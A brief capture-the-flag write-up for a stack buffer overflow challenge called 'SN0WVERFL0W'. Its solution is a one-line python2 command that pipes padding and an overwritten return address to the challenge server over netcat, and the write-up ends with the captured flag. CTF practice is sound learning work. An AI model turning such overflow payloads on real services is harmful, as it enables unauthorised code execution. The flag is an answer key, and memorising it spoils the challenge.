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SN0WVERFL0W

Binary Exploitation

Snow, snow, snow… there is snow everywhere! I’m feeling a little bit overwhelmed… or would I say overflowed?

nc challs.xmas.htsp.ro 12006

chall

Solution

$ python2 -c "print('A'*18+'\x56\x11\x40\x00\x00\x00\x00\x00')" | nc challs.xmas.htsp.ro 12006

flag: X-MAS{700_much_5n0000w}